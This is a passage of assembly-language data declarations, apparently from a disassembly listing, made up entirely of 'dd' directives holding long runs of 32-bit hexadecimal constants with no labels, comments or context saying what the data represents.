		dd 1823B0D5h, 0FFBE034h, 655C00AAh, 6AED040Eh, 0E30044C3h
		dd 97A18FD0h, 94866Dh, 9EFC2363h, 0A637A04Eh, 351008C0h
		dd 0E85258Ah, 6229570Dh, 12A96441h, 0B7A4F8E6h,	6EEF5900h
		dd 0D70F3F6h, 7CDF4FCh,	0AB8F12DFh, 4E4850B6h, 0A36036F1h
		dd 61277F51h, 0F22903ACh, 1A201304h, 219A0830h,	1C612B62h
		dd 0BFBBC3D3h, 22875C8Eh, 0AD4E4A20h, 29C1A079h, 0CE3DD2Ch
		dd 0CC29D89Fh, 0C8985F19h, 9F206060h, 54E7EAh, 0BD935CD3h
		dd 8225E4C7h, 996A7800h, 0F0056DC9h, 3AA40295h,	4EB961ADh
		dd 578E1AC0h, 0A0B6A601h, 9F0DC81Fh, 59F07089h,	5C011AF6h
		dd 648FA43Ah, 98EB0895h, 9B51CD00h, 981A3210h, 17A5E60Eh
		dd 28036073h, 0C00EA7E5h, 7A391FA8h, 0D73E589Dh, 0F360512Bh
		dd 69F829C8h, 1050EDF5h, 1B0F4A4Eh, 11A47655h, 0F3E3A980h
		dd 84A32701h, 82D31F5Ah, 0C00EF9D0h, 0E1C0E620h, 0A600CD99h
		dd 6C7A91B8h, 797EE90h,	0B2A513F7h, 65ED3015h, 0A4A8A2CEh
		dd 5B18D79Fh, 0F9F8A13Ah, 0AC8801DDh, 49DA8F50h, 2958890Fh
		dd 0B533001Dh, 0A5CA9BBh, 508D6207h, 22F71EB8h,	6653370Ch
		dd 394A4899h, 0DD08D693h, 6421709Dh, 8618F451h,	0C016C72Ah
		dd 0FA00317Ah, 0E3334D9Ah, 304F5610h, 0DA31F379h, 9D00747Dh
		dd 0D0C770D5h, 0D913Fh,	386E60D3h, 0BB282673h, 960ACE90h
		dd 84B1F91Dh, 366A4F00h, 5A0809Bh, 63DD2909h, 19C84008h
		dd 0A5025FCBh, 0C4912B28h, 0AC025246h, 0AB27F2E3h, 0E1480332h
		dd 0C2DC90C3h, 902652F9h, 6A5BD504h, 0A435057Fh, 0A0F8C023h
		dd 0C35AC6C2h, 543E2E11h, 0F314D990h, 0E4CDA20Eh, 21328CF2h
		dd 5436001Ch, 86CAD847h, 5602CB39h, 0A0F7B7DAh,	3D2490C1h
		dd 0D93F1154h, 8131881Ch, 0D554351Bh, 3305CC9Ah, 5B87D305h
		dd 0BC302C5Fh, 1C700F09h, 94340A2Fh, 0E506AE0Bh, 0C8887623h
		dd 0A93722h, 18B38A2Bh,	0EC63534Ah, 0ADDE0209h,	5D8128Dh
		dd 0A040A6D8h, 538C8EC4h, 4A7F267Bh, 98465E10h,	233DE639h
		dd 75C71106h, 0F50059B0h, 0D757DBF1h, 42BFF4h, 7683ADC3h
		dd 0FC69E125h, 0AE411F3Ch, 0A0019F2Ah, 6FC253D7h, 0F829F822h
		dd 186979A0h, 1F4A01E6h, 63E28951h, 9D4C3018h, 5C8E4212h
		dd 0C04F1C08h, 2725E1C7h, 9182D321h, 0BEE000F6h, 103C05E1h
		dd 0D0CB078Fh, 20FCFD97h, 0FE94A4FBh, 3A7FBD00h, 0D5A54F21h
		dd 0A26E307Bh, 62C6C0C0h, 8E0499C0h, 7B9A59EAh,	31CB0319h
		dd 94467EDAh, 2C4095C2h, 0CC98F4A4h, 0FCC45085h, 30491160h
		dd 81B45138h, 27651FA6h, 6208562h, 5991FD12h, 0E1C68050h
		dd 0A5BB2728h, 0BDDF007Ch, 0FB0D21E1h, 4BCD2909h, 5E3480FCh
		dd 0EE22816Bh, 31152C0Fh, 0A6948030h, 2B0BDFE9h, 0B6F06A0Ch
		dd 483679AEh, 0F4C02437h, 0A29A961h, 6593448Ch,	2442C40h
		dd 37C26ED1h, 443B44Fh,	5CFCD8E4h, 963E9B08h, 2104C634h
		dd 9B54D200h, 5250FE1h,	0A72C98A6h, 606C4424h, 0EAED5007h
		dd 0FA1CE94h, 80C15285h, 0CD34BF0Ah, 0E924C800h, 18A01C61h
		dd 2B5E03E6h, 0AA15C92Ah, 54764839h, 8E033BB8h,	0FAB558CDh
		dd 0C39023A4h, 5D543B01h, 68184CD9h, 331988h, 0D3E59854h
		dd 0C20BC611h, 0DCFD8F1Dh, 9E30C0E8h, 266328A5h, 6084AACAh
		dd 0C1077D30h, 6A7BD720h, 0B0A4679Ah, 12BD2C6h,	3046F144h
		dd 0E08E6AF7h, 3418227Eh, 45A84DA0h, 60F7E94h, 93ADA7A9h
		dd 2A0919F5h, 1F4ABCDh,	0DC4A2120h, 1B1043D6h, 69C424B0h
		dd 1299823h, 963B9B5Bh,	0C008184Ch, 9B53D321h, 2705668Eh
		dd 0B379551h, 103CD454h, 28C036F2h, 2A27C561h, 0FB99458Ch
		dd 0A27E20CFh, 0B2018555h, 4A07DE36h, 0A0206BFDh, 8BB13A88h
		dd 9228D85Dh, 0AA49160h, 0A1D403C8h, 1931D1ECh,	1130D0h
		dd 0DC44AAF7h, 0EFF9C88Dh, 0D8803C91h, 91C5A152h, 5CED00F4h
		dd 0C26B8822h, 5CC36C95h, 0A89F42CBh, 1323973Eh, 2263D42Bh
		dd 0A047A0ECh, 6C600144h, 8B000EC7h, 1104805Dh,	901D7A34h
		dd 907C905Fh, 743173DCh, 9DF416EEh, 4C1253h, 44E1CE68h
		dd 3CA5B9E2h, 6407C4h, 45178BDh, 7BE840ADh, 1FD00A59h
		dd 4E40DFB2h, 0BED146AEh, 8C0901E2h, 0DA8E1364h, 238C7130h
		dd 30F8B2A0h, 7E0071B8h, 7C46CEABh, 0B555EB3h, 0CBEC9F21h
		dd 0A01D40A9h, 6E82FC11h, 0DFC023B3h, 15027FE8h, 914A2A7Eh
		dd 402C4259h, 60267B40h, 10AFE071h, 1F2C29FCh, 0A360CC50h
		dd 20853464h, 0A8917EEAh, 0D0189971h, 0FF660201h, 0C7308F40h
		dd 1E3450D6h, 9280DDF9h, 23983A0Fh, 17450194h, 601D5D5Fh
		dd 0DE406F10h, 0EC490546h
		dd 2EA0C57Ch, 9A2358h, 3D8D3E86h, 4D00D766h, 98DEB191h
		dd 193132E8h, 5847565Fh, 0BF31835h, 0D229B061h,	11902C1Ch
		dd 0C7EC6109h, 47BC206Ah, 21CAB1h, 5F7E294h, 789DA2BBh
		dd 0B249201Ch, 82E38541h, 0EC235BFAh, 3700BF23h, 0ECD95954h
		dd 500894F2h, 5300EF0Dh, 0FD061C21h, 2D0FCCFh, 5B41012Ch
		dd 0F881A6BEh, 289B2B28h, 8CFBBC64h, 230089E6h,	0A7E52405h
		dd 303CFCF5h, 6CF1A837h, 9A00CF31h, 34303647h, 5D1938Fh
		dd 0D3CD2BAAh, 5FD405EFh, 0BD449237h, 16543930h, 383CD95Bh
		dd 0F1000F8Ch, 3BE78D53h, 0A4ED2BAFh, 9CAD7BFCh, 952A8250h
		dd 9C4004C3h, 0B725B13Fh, 9138976Fh, 5D5787FBh,	48999210h
		dd 1E5107A6h, 0CCC7BECAh, 7D008D91h, 82E9AF89h,	1A424DFh
		dd 0A68BA92Fh, 0C0CE8E46h, 3E00BF2Dh, 2184D0C8h, 14963F04h
		dd 0F5AD3A9Ch, 92564E05h, 3AC81273h, 7062358h, 0A1A95B9Ch
		dd 0C817D951h, 6E404223h, 75151709h, 0F0904012h, 90F10B05h
		dd 0E3450F02h, 843032D2h, 3860C0C0h, 0D9105854h, 6AC8F2E4h
		dd 53F00E80h, 7527A80h,	215F3FCBh, 0F491E9F6h, 0B581820h
		dd 54963A9Bh, 0CE01A01Ch, 98359B50h, 0F9CCB9FFh, 5AA51AF4h
		dd 88372111h, 8275F780h, 11DBBBAh, 211FFBF3h, 0FC2C8A83h
		dd 0C81290B8h, 30CB4914h, 31C19788h, 2C61B21Bh,	0F4581DCh
		dd 53E2C228h, 5B889EAh,	8BF7D6F5h, 0C065C8C0h, 84BE17Fh
		dd 11435D02h, 61510D62h, 43857D0h, 388C68BCh, 0AC8F4023h
		dd 9661B7F9h, 200118F5h, 0B87B3704h, 0A1F2625h,	4674000Ch
		dd 5A00736Bh, 0B0DE7159h, 4A9D87AEh, 4E0000C5h,	0A86411Fh
		dd 0CCD40C26h, 14F55308h, 4AA621h, 0D9BD83B8h, 0DC2C8F45h
		dd 0C7929CAAh, 0D346A091h, 0B3AE130h, 0F2669D75h, 0C641D200h
		dd 8015A23h, 0A9F99A78h, 93CC2CB2h, 59E10222h, 4DC194ADh
		dd 0EF46C0E4h, 0C6612502h, 0F09C2227h, 61216000h, 249C1E33h
		dd 4F54989Ah, 9DC407DFh, 0A0657583h, 42886124h,	69560002h
		dd 0DEEB11ADh, 0A8F27745h, 0E8A8274Ch, 0A4008CF7h, 0AF4912B2h
		dd 7FF57C3Fh, 61D8A840h, 1DA024B5h, 9B57C384h, 186C96E9h
		dd 4FCF8802h, 8E059B00h, 8A534B01h, 1B509092h, 0C05672CBh
		dd 0EE9DCE8h, 467628B4h, 1C0F00F7h, 0CA8C5E4Bh,	0BCCB137h
		dd 61001B5Fh, 3C0C6401h, 9700E077h, 63B4EFF7h, 0F2D34DB6h
		dd 0D99F09D1h, 0C03E483h, 0B90617C7h, 538F3DDh,	60D716F8h
		dd 29500127h, 5057C947h, 8C7053BCh, 0CFA5Ch, 7A69800Ah
		dd 1F92558h, 6BA515A8h,	203DF121h, 3B8CBE6Ch, 0D996543Ah
		dd 0CB2C3934h, 2BB853BBh, 0F8E2F3F6h, 8850A56Ch, 5C5896B5h
		dd 979F0121h, 0ED750011h, 4B254A1Fh, 0CF522090h, 0DD908C0h
		dd 6229050Fh, 9E54B009h, 8C23DC2Ah, 1856CC81h, 0EEE30BB0h
		dd 30458B27h, 0E1C7E580h, 295FD56h, 0FBFF2D25h,	30CE53A4h
		dd 46567094h, 13037202h, 5B5EFC57h, 2A76E0D5h, 3A50D272h
		dd 20323F8h, 0DDB860DCh, 0D146EC83h, 0DB664DD8h, 86025B1Ah
		dd 0DA900358h, 6ED94FDCh, 80A107B4h, 1889136h, 79050AFEh
		dd 0A08828E8h, 30A2520Bh, 46C91F75h, 13176849h,	0F43A302Ch
		dd 95019A23h, 0AE92B98h, 42A3E0h, 49EDB68Eh, 29FC74A9h
		dd 87461D18h, 2C639F64h, 94A0D423h, 2E005837h, 0E3BD3ADDh
		dd 0D51E70B5h, 3071F34h, 403FE05Ch, 7B9D377Ch, 0C0A2121Dh
		dd 0D2980EFAh, 43227A0h, 0C1242596h, 133F00FEh,	7082E39Dh
		dd 79887910h, 0E4189Bh,	0AA0EFECDh, 4A8F5174h, 4FDD2909h
		dd 98908307h, 433DC3B4h, 0FCE2D830h, 56F0CE31h,	14F400AEh
		dd 29056603h, 0C964A53h, 9A465Ch, 64ECCBB3h, 70FCA1FAh
		dd 402C5E3Ch, 95CFD7A0h, 35ECA4B0h, 4674F0B4h, 42450067h
		dd 0BA688148h, 0A9220761h, 48E42FD9h, 0C5835191h, 0C38A27E1h
		dd 0E260D459h, 14E1BCh,	0D05F28B1h, 22570763h, 0A592AD18h
		dd 0F0D9FDD9h, 0FA4205D7h, 359F122Dh, 23502EE8h, 0FA250095h
		dd 0B77C4611h, 0E42BD824h, 8D14BC28h, 0E8E059E4h, 1C058CF6h
		dd 5FC7D994h, 0D83D9440h, 14691Eh, 36151897h, 0C6397E17h
		dd 22883A00h, 0DEFC1DC5h, 5424255Eh, 746D2012h,	56020F67h
		dd 0D07562E3h, 0FD7B397Ch, 2C80EBA4h, 65467470h, 512E4B01h
		dd 5137E8C1h, 50A3C594h, 0B649AD88h, 272DC8E8h,	0CDFCA0C9h
		dd 7EEFD717h, 281E0083h, 0FBBB95E6h, 0C2B0B80Bh, 1991E102h
		dd 87292B87h, 94425EA4h, 8E58E8F8h, 0DE007CCh, 0C62795BDh
		dd 221619F0h, 144158DBh, 8E73A9A2h, 8C720871h, 2C3105E2h
		dd 0B075DCCh, 0F3067409h, 60613C02h, 37952801h,	9E840C2h
		dd 6DC91D55h, 0F79F4996h, 6AC44045h, 53E2B460h,	0C8801E28h
		dd 5BF5953Eh, 0B55F0445h, 8281449Bh, 49832A8Dh,	0FD95F0C4h
		dd 0F4F9F828h, 0D673D513h, 243A64C5h, 0C19EEB10h, 0BDC12E60h
		dd 0B12A6AD9h, 8D54F00Ch, 257A4006h, 0C008B9h, 8498B6CDh
		dd 0C97F4982h, 0AF80E4BEh, 7C31DF13h, 0A53622EFh, 30C9500Eh
		dd 2C63C5F5h, 0AA1FE45Fh, 0C9A9764Ch, 0ACC50067h, 9DD4CF2Bh
		dd 0B524B8B9h, 0C8325C3Fh, 9B56301Eh, 64963812h, 0D03980CBh
		dd 0B32F9B80h, 5901F903h, 0E993F802h, 4029DFF0h, 45E28EECh
		dd 0BC63AEh, 0CF0EFBBCh, 1D72DD4Ch, 432D2713h, 5C8E3449h
		dd 28994AB9h, 0EC72180h, 8020CF98h, 7F700862h, 4A411303h
		dd 0FAF757Ch, 74D4C261h, 0E471E900h, 0CA000734h, 36991146h
		dd 263DD2A1h, 7698E094h, 0E401F646h, 0D68DE02Ch, 0D439A8A1h
		dd 8DD9E30h, 90301DB0h,	1C2B4634h, 968B9B3Dh, 0DC9C3Ch
		dd 0CB9B55D1h, 0C85D6FC4h, 10FF49h, 0DD47D532h,	71542h
		dd 0CBB07051h, 9FE26A3Ch, 1EF5E93Fh, 32811482h,	0D96227F4h
		dd 0C7867C7Ch, 0C1006115h, 256F5157h, 9A94879h,	4ACD0FB8h
		dd 999C8C0h, 454B68BEh,	606BE4E4h, 18A9025h, 7F971FDCh
		dd 7C6CDE69h, 84B2D288h, 4A587B00h, 26C1C608h, 71506300h
		dd 0F0934CEBh, 0EFE40942h, 0C4513D9Dh, 38189479h, 2653780Bh
		dd 0B634419Ah, 2C8C44Bh, 0BFD4D4C7h, 73B224C1h,	1C90C00h
		dd 6C2DA85Fh, 9300C1F9h, 1D2507A9h, 7BBC1CD3h, 0A70E40DCh
		dd 5D4051FCh, 23B5102Ah, 0B48A96F6h, 56C0F7C8h,	54B5BFFh
		dd 2BB0D5D2h, 254CF386h, 0B260A1C8h, 52E4A5BBh,	0FBD80EB6h
		dd 0D962FC9Ah, 84CD235Eh, 0F0600344h, 0F5B021DCh, 7CDC2E48h
		dd 4522F918h, 2798D779h, 903DFD37h, 49D1BC80h, 0B29EA39h
		dd 0A9E0CB95h, 712E48E0h, 3046AD43h, 30D23B7h, 0D14626C8h
		dd 568D6504h, 9CD54479h, 0B5E154A6h, 0B04CF4E6h, 89013801h
		dd 2BAF14F6h, 0C2E2F3F1h, 60205E78h, 201FFC40h,	6C908029h
		dd 88D49F10h, 178C95B8h, 134010Dh, 7BE4B31Ch, 48186892h
		dd 8C04E8F0h, 210CBD03h, 40A9D3Bh, 0DD4A2C18h, 4564806Ch
		dd 0F496B9E2h, 9EEB215Eh, 0DF450180h, 0B73E0Fh,	0B8CD9048h
		dd 3A235940h, 0F925E4B2h, 1FA42026h, 24B6AE39h,	1734A49Ah
		dd 88548FC3h, 26D8C068h, 2D7881A9h, 15161A7Ch, 0EC0BF785h
		dd 0DE2C4876h, 7A030A9Dh, 5DF2838h, 408E3730h, 0EB679AB4h
		dd 68004505h, 0B273D2BEh, 1594BF4Bh, 8413C780h,	480EDC3Eh
		dd 20E0DE7Dh, 2658DFADh, 50B03D03h, 0A1BEF21Eh,	70C03FEEh
		dd 94B175h, 6B018BA7h, 0DAF8F01Ch, 30A67700h, 56C6BB74h
		dd 490F005Fh, 0D9CFA37h, 76FD2659h, 0AC0F7D0h, 14CE6F4h
		dd 0FA964F5h, 5EC14Ah
		dd 0A7A1B0C8h, 6066C4B0h, 17AD674h, 9AE35170h, 687CF3EDh
		dd 0A0BE1230h, 0E1E094A6h, 0C30210E3h, 9527FCE2h, 505697h
		dd 8C21A0C6h, 7000BE88h, 0BD411F1Ah, 70EED3D4h,	61AD00C2h
		dd 47565EB8h, 2F35D989h, 0FCA23818h, 0E2BCB001h, 2AA88E23h
		dd 9B2B4C05h, 305B18F1h, 60EE40DFh, 0C5D7E272h,	80D0385Ch
		dd 2025FB82h, 408C38C7h, 0B8A32B2Fh, 46E829FCh,	170BC187h
		dd 6A0814F4h, 11981DA0h, 0C6498008h, 33B1813Bh,	9F811EF9h
		dd 82EB27A8h, 67C46CA5h, 0D4CF0B60h, 0CC65C702h, 842B3E87h
		dd 9D050EC4h, 20808963h, 48CF05Ch, 27C76126h, 0B0DCA81Ah
		dd 611E5Fh, 7E412B5Dh, 270F02E3h, 62618279h, 0BBEC9E50h
		dd 2F5ABC7Ch, 2F52320h,	0B577ACAh, 21B24040h, 0CCE7AC02h
		dd 46A7C96Fh, 0EC47024h, 0CF8FADDCh, 3538B815h,	1FA02729h
		dd 0D862CBF4h, 6AE4BCC5h, 5BD79C60h, 3494D224h,	59B1661Ch
		dd 298064C8h, 6BAA0D2Fh, 910037D0h, 0BFA2D955h,	32906E9h
		dd 5B3ABC54h, 40049536h, 4A59C84Fh, 0FBAC6CF9h,	0A6494600h
		dd 41922765h, 0A1E89A36h, 6429B640h, 0E0042ACh,	7C46BC23h
		dd 2F5BE2B9h, 549A87F6h, 69598C59h, 0F8009418h,	417F211Fh
		dd 9556DC71h, 0D500E037h, 2BB11859h, 822A1288h,	8A988081h
		dd 9874ADA6h, 0E3E8A097h, 0A9A76797h, 53DC20CCh, 36132FD3h
		dd 0DC852882h, 0B04524F8h, 0FB9EF087h, 8BBC512Ch, 0D0042E62h
		dd 0A22510BFh, 30FAB2ACh, 1D00A568h, 0A95BBCBDh, 1E138F46h
		dd 17CD2B58h, 3C14DD08h, 8C97BCB4h, 2DB93104h, 0E481A9CFh
		dd 0B020DB93h, 91EEE139h, 746D75C4h, 70E87100h,	0A6300AEBh
		dd 0CF308BEEh, 3229FA8Fh, 0A3F90021h, 540956C3h, 33524E4Ah
		dd 61F10248h, 5C0229AAh, 2D645858h, 0C9656108h,	664D8058h
		dd 0D2B967C2h, 8D93A403h, 3B894A29h, 0A8277CF1h, 9EDB0068h
		dd 46766494h, 0D4A80707h, 0FCF1DF02h, 216A3CC7h, 17E6A48h
		dd 6026E095h, 2C7698F0h, 0A62B5413h, 0F8C83C8Bh, 3C1219C0h
		dd 2966017Eh, 7BDCE70Ch, 0D3002005h, 4A345F12h,	13E0D4F6h
		dd 9D000506h, 6119AF65h, 94F293Eh, 0EDEBB189h, 24C7040Bh
		dd 1F0EEC89h, 89F6116Ch, 731582F7h, 0A59042C9h,	1C999364h
		dd 0C8C11C5Ah, 623B9171h, 0CD2AC144h, 0D0A8F97Bh, 3FDD2198h
		dd 1D4AC2Eh, 2A542EC6h,	0AC633D92h, 85BA7048h, 0AE7B3910h
		dd 0EAFD40A4h, 0A51503A4h, 0A30A23D5h, 2B661875h, 18A81190h
		dd 618F3897h, 0C90051CEh, 0D930B70Ch, 0FC079ACAh, 81E902B0h
		dd 38F3DE65h, 63003CD0h, 0FC3F0C5Dh, 4C0A391Fh,	0AD10E095h
		dd 0FBB80E56h, 0D57CE35Dh, 24EDC453h, 2A812B01h, 0AD686D7Ah
		dd 1E43728h, 0C8EE4C42h, 4FB824FBh, 0F24D5401h,	822944F0h
		dd 6CD03B71h, 5BEDEE49h, 3EF880B7h, 6F2CD850h, 95052B59h
		dd 0C812F807h, 0F4C8B08Bh, 9363B0C7h, 80F14BD9h, 28C5492Ch
		dd 8E085D0Ah, 0AD0918D7h, 0C8D84994h, 86002C32h, 7F0B91D5h
		dd 29EAD89Ch, 5540989Eh, 13057A2h, 0D233C3DBh, 23E38B4Dh
		dd 30FAA2B0h, 67010ADBh, 4893D5B5h, 246DD88Fh, 0D68E4602h
		dd 2859393Bh, 4FAD013Ch, 4C3CE41Ah, 0FD44720h, 0EA1BAAA5h
		dd 0F3B149A0h, 0B76B66C7h, 708B730h, 302B5AF3h,	91595DAh
		dd 0BF4090B6h, 50AFDD27h, 7C3ECCD9h, 8F4E4F1Ch,	0C03288F0h
		dd 0C4DA4442h, 0B5120190h, 0C4E031E3h, 148E7AC2h, 0E038C56Ah
		dd 87DD2C04h, 0B284F3F7h, 0F42E30F8h, 9E998E3Fh, 0FF80B130h
		dd 0CD3EBEEAh, 30019F96h, 85023A5Eh, 0A12597C8h, 9F7864ACh
		dd 0EC08C09Dh, 7576F9Eh, 909319h, 9594EBDBh, 23E4B102h
		dd 5663CD4Ch, 1467454h,	0AD9EFE00h, 0D62270Bh, 22905C50h
		dd 0C0A38E04h, 0C4A45DC7h, 0BD3C01F4h, 36F39063h, 0EC87E01Ah
		dd 0E72DE6F8h, 0BEAC6423h, 96465664h, 0D632B500h, 0D9DEB0F8h
		dd 7CFD3578h, 8C31BC68h, 0CCB5C101h, 403C3481h,	19FBABC0h
		dd 71AA91ADh, 1C6479C8h, 75099E16h, 45000901h, 609AE41Ch
		dd 3A8E8828h, 0F40BE4B4h, 6C6C0FE0h, 91CC9595h,	62248569h
		dd 0CAD3ECADh, 0C093C830h, 0E79529CAh, 3D4C64F9h, 91309795h
		dd 0A20A8295h, 4D94C011h, 8F45805Ch, 0C9566505h, 50B2A5FCh
		dd 6CB9CC4h, 719B275h, 86DB3830h, 9B0B2055h, 50001992h
		dd 9CF37E31h, 0B58DDF6Fh, 4A20B09Ch, 5E0C94A1h,	3F000646h
		dd 8D0C48C8h, 4981CD8h,	4FCA2100h, 0D0B27C46h, 446B00C6h
		dd 1D7BF618h, 9CB0A0B1h, 6CD13C91h, 69057D18h, 4DC38E73h
		dd 188B8852h, 74C032C8h, 46F66h, 9A62DC4Bh, 0F9B95786h
		dd 59892332h, 0AFE4601Fh, 0A9483EEAh, 35C8950Bh, 0D3748464h
		dd 0F4A09Eh, 26A567B9h,	222BD8FFh, 0F96881BDh, 29963A2Ah
		dd 8598A476h, 530A5D04h, 408838C6h, 4AF6005Fh, 3C636EEEh
		dd 9400DE33h, 61ED6A07h, 15EB5BBh, 3FA9AEC3h, 730F7F79h
		dd 30F8E2E8h, 0C0028857h, 6229ABDAh, 29D87045h,	2988DCE6h
		dd 0FAC7094Ch, 0D3EFA4A0h, 95006B72h, 3DF630D8h, 60D52181h
		dd 2220B4DCh, 5D045F46h, 0EF79414Dh, 542338A2h,	0F4E3AA01h
		dd 2D3B9B27h, 0E1C1F81Ch, 354FC0Fh, 9028EA6h, 6C6529h
		dd 91A6501Eh, 0A00447Fh, 2D669320h, 2CA417A8h, 8636D9h
		dd 92650633h, 0D0B682C8h, 3B952860h, 90F09014h,	0A0017C18h
		dd 32C9A880h, 0C8180D97h, 623C08DAh, 0BE587ECCh, 0EF1F11B8h
		dd 53838E00h, 0ED9F099Dh, 0D305F8B0h, 931A2BE2h, 0F04648A0h
		dd 0D12CB1B9h, 47D01905h, 93280046h, 961990DEh,	6315A44Dh
		dd 0C8C224h, 2C33CE8Fh,	194F5304h, 78981A76h, 2B252027h
		dd 0B01DE891h, 19CA818Eh, 0F7442011h, 0DC71E780h, 14AA02FDh
		dd 697E07E9h, 50AE4F60h, 509BDE4Fh, 3AC40180h, 1C0EF227h
		dd 612F9350h, 0A134C7BCh, 1F0B9869h, 1C9D4DF0h,	0C28FF411h
		dd 0D1F13880h, 0C600B7BEh, 655046FDh, 58349839h, 67E87C31h
		dd 4F54048Ch, 0C39547D3h, 0D9F015B0h, 80B5DAB3h, 85D86218h
		dd 9F112659h, 3467CA8h,	2B68DF0Eh, 0FD620182h, 75E0B848h
		dd 0E228A352h, 91273007h, 4F58A50Bh, 0B0406048h, 3FBF00F3h
		dd 53E2D6DCh, 24968D96h, 0CE772100h, 10D95065h,	0BC48F2FCh
		dd 0A4008C96h, 97BAF16Dh, 4F02791Dh, 6A1C99FCh,	4CE2434h
		dd 2FC06788h, 9563F48h,	4C93DA8Eh, 90AD1402h, 0C85CACC4h
		dd 772383A8h, 85809D6Dh, 1EBB9B32h, 0D9D675h, 7BAE0F61h
		dd 73FD334Fh, 3067A224h, 8E01D5E8h, 8CDF4808h, 0F0207C72h
		dd 1FFA5F8Dh, 99CB8B6Ch, 92F84458h, 0A2A1BCF5h,	7090955Bh
		dd 90026F50h, 58CDB186h, 841DE02Eh, 0BDA7024Ch,	542941FBh
		dd 465E207Ch, 4D0B7C94h, 6214C891h, 0C08CED00h,	0BAD274F1h
		dd 1825D38h, 0BB7C1BDFh, 5C33B842h, 213004A2h, 5E6494C7h
		dd 0D7009B46h, 0C6B55AEAh, 0BE16836Ah, 0F4828BB0h, 40902B9Eh
		dd 0D826FB5Fh, 181AB501h, 0F14C8781h, 0CF4480EBh, 2F280F5Fh
		dd 8E213B5h, 0B89324D4h, 0B72DD0A2h, 8B2B0080h,	0B09A4F95h
		dd 548F795Bh, 309EEB84h, 13902ABCh, 0BFFC772Ch,	8F6CC200h
		dd 9509D1CBh, 53D75810h, 800065Eh, 0F002FCC5h, 43651C29h
		dd 4EF60261h, 34F0E2DEh, 1A24F911h, 80C49B5Ah, 8F304380h
		dd 0B7950B2Bh, 0A851AA11h, 5E3E2682h, 0BB8D80B6h, 67C80F93h
		dd 0F463411Ch, 85A4E811h, 78A8A680h, 1C8C02FCh,	8924E370h
		dd 74E23E5Bh, 0B400A859h, 8032FECEh, 0FD0D3B40h, 65BCEF01h
		dd 6829167Eh, 494605C8h
		dd 0EC815D6Ch, 0A4303925h, 337A12D6h, 0F244F29Fh, 2A053093h
		dd 9088E48h, 905BD0B9h,	0A8A74068h, 952923C0h, 67C4B867h
		dd 0AC961560h, 0FA26BA05h, 0E0A81808h, 691901AAh, 0CA862BB1h
		dd 0A903843Dh, 0ACE5EAC4h, 0F6569BA8h, 183A1E2Dh, 0C93FACh
		dd 13A35B1Fh, 6AD59229h, 0BFC4080h, 4F51D35Eh, 8F00DC51h
		dd 6BAD7CBEh, 2FDE5B83h, 0FB2384h, 2AE386BFh, 0FF01F5BAh
		dd 0FC6B835Bh, 8C683CFBh, 51AD7518h, 0CC00717Ah, 7FAF98ACh
		dd 7CE47CDh, 0F505DEC8h, 0B1938529h, 0F2287270h, 30F331FAh
		dd 0E917236Bh, 0E300D978h, 0D78DC8CAh, 0F5951399h, 9AACD290h
		dd 0D24050F6h, 0E795A71h, 6707F485h, 0A873E9E4h, 6A27043Ch
		dd 78EC5701h, 0A6006222h, 14063C9Bh, 1CA7D8h, 8F6AB567h
		dd 29AA9893h, 1575F3EEh, 44F06795h, 0ED6C60F7h,	62990693h
		dd 0A99235E7h, 165C9280h, 4CC00803h, 0AB24E0A8h, 302A849h
		dd 0DF3A0393h, 2EBD63A1h, 542AB01Fh, 0F379E8E9h, 0CB00B218h
		dd 0A0860137h, 0B6C9A109h, 4E2980D4h, 50FB9446h, 4659CB2Dh
		dd 601CADF4h, 4C2E7148h, 2D81970Ah, 0B202B2DCh,	0D449532Bh
		dd 3700D63Ch, 0D146380Ch, 12040695h, 40142B5Fh,	8AF5F99Ch
		dd 483E5045h, 992122Ch,	518EACA0h, 606FC0E4h, 5575233Ch
		dd 7EF27007h, 37002C01h, 223B59h, 6A259D1Bh, 0BEFCEAEBh
		dd 98E34400h, 0A13AA497h, 47D4F4Bh, 0A64E4904h,	0D7FAE0B0h
		dd 6F2D025Dh, 0E48DC1A4h, 29122872h, 0F0F0D94Ah, 9454983Eh
		dd 8900DC3Ch, 0AC3179A8h, 0B69CD9FBh, 0D3610F7Ch, 95472561h
		dd 0DA9461FAh, 52DDA098h, 0A54F2409h, 34D84876h, 0A3830087h
		dd 0FEC943BDh, 3F79BCB8h, 0D1C86F00h, 57B93D4Dh, 0BF3001EFh
		dd 0EC5DFC50h, 37DB603Bh, 6CAC49h, 1ACFB10Ah, 0FAE6C695h
		dd 5C4DF476h, 0DD044Ch,	33DDD118h, 5A12B03Dh, 50F8F026h
		dd 0A0E1CF27h, 3CD714A8h, 7218E470h, 9292AFCh, 7837B794h
		dd 95DA10Eh, 0C5480B89h, 6096E480h, 90570BDh, 2ADFB139h
		dd 0D705ECF3h, 9090D65Bh, 3EBE1D7Bh, 4059F985h,	110070BCh
		dd 0FCD651C7h, 789DF91Dh, 5CFE5DAAh, 1BE32901h,	3099AC20h
		dd 6400EF8Bh, 0E037C9Ch, 27E4CBB1h, 0D4CD4F6Bh,	0C5600344h
		dd 0AF5AC7FAh, 95E97C39h, 4029EE00h, 0AA6F2100h, 3F55D518h
		dd 7170B48Eh, 0E00B0DADh, 0CECE0588h, 0EEA7C099h, 0BE08F9E9h
		dd 8B7D4190h, 0E8C5C993h, 0F703D697h, 0DEA48599h, 0A960E78Dh
		dd 4CC7B52Bh, 9C167CFDh, 0F35C848Fh, 3069B21Ch,	97AA7Bh
		dd 1E555EC0h, 4CE095ABh, 22804E23h, 0B40B7395h,	45314454h
		dd 0A440B175h, 0CD92612Eh, 0CFB03EC6h, 4066B681h, 0C4140A2Bh
		dd 0CB58B5E2h, 94396731h, 45217071h, 4F8DA470h,	8ACC8C89h
		dd 0C0C3C927h, 0F99EC7DCh, 388B44Fh, 0F644ABC2h, 35EB40CCh
		dd 0B03EEBFh, 3027E213h, 0A8A9CCE4h, 0F5D92F00h, 0B6537B44h
		dd 78EF1700h, 0BDE574DBh, 255109B3h, 14049345h,	0EC24F94Eh
		dd 0E8B4001Dh, 4CC86A4Ah, 304BFD7Ch, 13E170F0h,	0E393367Bh
		dd 3002B2BCh, 1A099515h, 0E1E253E3h, 14688FC8h,	9E18BE9Eh
		dd 2D9718ACh, 78A27931h, 58C62CFCh, 0E64D4444h,	4EF99E40h
		dd 0FC7C402Ah, 826D511Fh, 24202FF9h, 0E00D8F4Fh, 271E1F5Bh
		dd 58456F13h, 58616BE4h, 0C93BD815h, 0F4C5059h,	58E62BD5h
		dd 0B8DCFC9h, 0BE8032ABh, 3D13C71h, 513FF618h, 0B8E40546h
